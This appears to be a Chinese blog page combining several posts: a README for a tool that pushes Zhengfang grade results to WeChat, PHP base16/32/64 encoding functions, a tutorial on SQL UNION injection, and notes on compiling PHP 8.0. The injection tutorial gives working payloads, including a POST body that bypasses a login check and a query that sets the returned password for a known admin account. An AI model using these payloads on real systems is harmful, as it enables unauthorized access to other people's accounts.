新版正方教务系统 期末成绩主动推送至微信

GitHub 项目地址

https://github.com/PrintNow/zhengfang-results-push


zhengfang-results-push

新版正方教务系统 期末成绩主动推送至微信等

配置方法

  1. 配置 functions.php 第10行、16行、21行,里面有详细的注释说明
  2. 配置 config.php 第14行,请看下方的 关于 WxPusher 的使用

关于 WxPusher 的使用

  1. 请前往 http://wxpusher.zjiecode.com/admin/app/list 新建一个应用

    没有注册账号先根据提示注册账号

    除了带有 * 标记的表单需要填写,其它都不需要填。傻瓜式填写,不多讲述

  2. 新建完应用你会获得一个 APP_TOKEN 复制它,将它填到 config.php 第14行
  3. 然后不出意外会弹出一个二维码的模态框(如果没有,点击对应 应用的 关注 即可出现)
    ./img/1.png
  4. 扫码关注公众号(这个二维码可以保存下来)
  5. 然后点击下方的 我的 -> 我的UID 获取UID,格式是 UID_xxxxxxxxx
    ./img/2.png

获取教务系统 JSESSIONID

  1. 打开教务系统
  2. 点击如图

    ./img/3.jpg

  3. 复制 SESSION
    ./img/5.png

使用方法

  1. 首次查询成绩并推送(第一次添加或更新 JSESSIONID 时用这种方法)

    1. 命令行方法,执行 php main.php -U "你的UID" -S "获取的 JSESSIONID"
    2. 网页方法,访问 http://你的域名/main.php?UID=你的UID&JSESSIONID=获取的SESSION
  2. 定时执行监听,因为已经缓存了 JSESSIONID,所以不需要传 JSESSIONID 参数

    我们学校教务系统大概每2分钟执行一次,JSESSIONID 就不会失效,你们的具体情况具体更改、
    1. 命令行方法,执行 php main.php -U "你的UID"
    2. 网页方法,访问 http://你的域名/main.php?UID=你的UID

PHP 使用匿名函数 实现 base64/32/16 加密解密(encode/decode)

base16/32 加密解密 是在网上找的拼凑的
<?php

$encode = [
    16 => function ($str) {
        $encode = '';
        $chars = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'];
        for ($i = 0; $i < strlen($str); $i++) {
            $encode .= $chars[(ord($str[$i]) & 0b11110000) >> 4] . $chars[ord($str[$i]) & 0b00001111];
        }
        return $encode;
    },
    32 => function ($str) {
        $BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwxyz234567';
        $output = '';
        $v = 0;
        $vbits = 0;
        for ($i = 0, $j = strlen($str); $i < $j; $i++) {
            $v <<= 8;
            $v += ord($str[$i]);
            $vbits += 8;
            while ($vbits >= 5) {
                $vbits -= 5;
                $output .= $BASE32_ALPHABET[$v >> $vbits];
                $v &= ((1 << $vbits) - 1);
            }
        }
        if ($vbits > 0) {
            $v <<= (5-$vbits);
            $output .= $BASE32_ALPHABET[$v];
        }
        return $output;
    },
    64 => function ($str) {
        return base64_encode($str);
    },
];
$decode = [
    16 => function ($str) {
        $result = '';
        for ($i = 0; $i < strlen($str) / 2; $i++) {
            $result .= chr(intval(substr($str, $i * 2, 2), 16));
        }
        return $result;
    },
    32 => function ($str) {
        $output = '';
        $v = 0;
        $vbits = 0;
        for($i = 0, $j = strlen($str); $i < $j; $i++) {
            $v <<= 5;
            if ($str[$i] >= 'a' && $str[$i] <= 'z') {
                $v += (ord($str[$i]) - 97);
            }
            elseif ($str[$i] >= '2' && $str[$i] <= '7') {
                $v += (24 + $str[$i]);
            }
            else {
                exit(1);
            }
            $vbits += 5;
            while($vbits >= 8){
                $vbits -= 8;
                $output .= chr($v >> $vbits);
                $v &= ((1 << $vbits) - 1);
            }
        }
        return $output;
    },
    64 => function ($str) {
        return base64_decode($str);
    },
];

var_dump($encode[16]('chuwen'));
var_dump($encode[32]('chuwen'));
var_dump($encode[64]('chuwen'));

echo PHP_EOL;

var_dump($decode[16]($encode[16]('chuwen')));
var_dump($decode[32]($encode[32]('chuwen')));
var_dump($decode[64]($encode[64]('chuwen')));

巧妙地使用 SQL UNION 注入

我们一般验证用户登录时,密码是否输入正确,一般是会这么做

  1. 客户端 通过 post 提交用户名(username)和密码(pwd)
  2. 服务端 拿到 username,进行数据库查询(假设没做对SQL注入措施),一般会这样写 SQL 语句(假设 $username 变量是获取用户 post 提交的用户名):
    SELECT username,pwd FROM user_table WHERE username='$username'
  3. 然后查询得到结果,判断查询结果的密码是否与接收的密码一致
  4. 好了重点了来了,因为没有做防SQL注入,我们可以这样注入
注意末尾 # 别漏掉了,写上这个就会忽略后面所有的语句
SELECT username,pwd FROM user_table WHERE username=''
UNION SELECT '','45cf93bd4f762c6597b68e615b153bd0'#

此条语句的执行结果是:

+----------+----------------------------------+
| username | pwd                              |
+----------+----------------------------------+
|          | 45cf93bd4f762c6597b68e615b153bd0 |
+----------+----------------------------------+

没错,我们使用 UNION SELECT 查询,可以控制输出字段的值,但前提是你要知道查询了哪些字段

这样我们 POST 提交参数:

username='UNION SELECT '','123456'#&pwd=123456

就可以骗过验证


如果你知道某个账号(假设是 nowtime)具有超级管理员权限,那么让其执行以下语句就可以控制输出其密码

SELECT username,pwd FROM user WHERE username=''
UNION select username,'123456' as pwd
FROM user where username='nowtime'#

运行结果:

+----------+----------+
| username | pwd      |
+----------+----------+
| nowtime  | 123456   |
+----------+----------+

Ubuntu 编译安装 PHP 8.0-Alpha 过程

apt install libsqlite3-dev

configure: error: Please reinstall the BZip2 distribution

那就去安装

sudo apt-get install libbz2-dev

No package 'libcurl' found

 apt-get install libcurl4-openssl-dev

configure: error: GNU MP Library version 4.2 or greater required.

apt install libgmp-dev

No package 'oniguruma' found

apt install libonig-dev

configure: error: Please reinstall readline - I cannot find readline.h

sudo apt-get install libreadline6-dev 

apt install libsqlite3-dev
apt-get install libbz2-dev
apt-get install libcurl4-openssl-dev
apt install libgmp-dev
apt install libonig-dev
apt-get install libreadline6-dev 

+--------------------------------------------------------------------+
| License:                                                           |
| This software is subject to the PHP License, available in this     |
| distribution in the file LICENSE. By continuing this installation  |
| process, you are bound by the terms of this license agreement.     |
| If you do not agree with the terms of this license, you must abort |
| the installation process at this point.                            |
+--------------------------------------------------------------------+

Thank you for using PHP.

configure: WARNING: unrecognized options: --enable-inline-optimization, --with-libxml-dir, --with-xmlrpc, --with-pcre-regex, --with-pcre-dir, --with-gd, --with-jpeg-dir, --with-png-dir, --with-freetype-dir, --with-onig, --enable-zip, --enable-wddx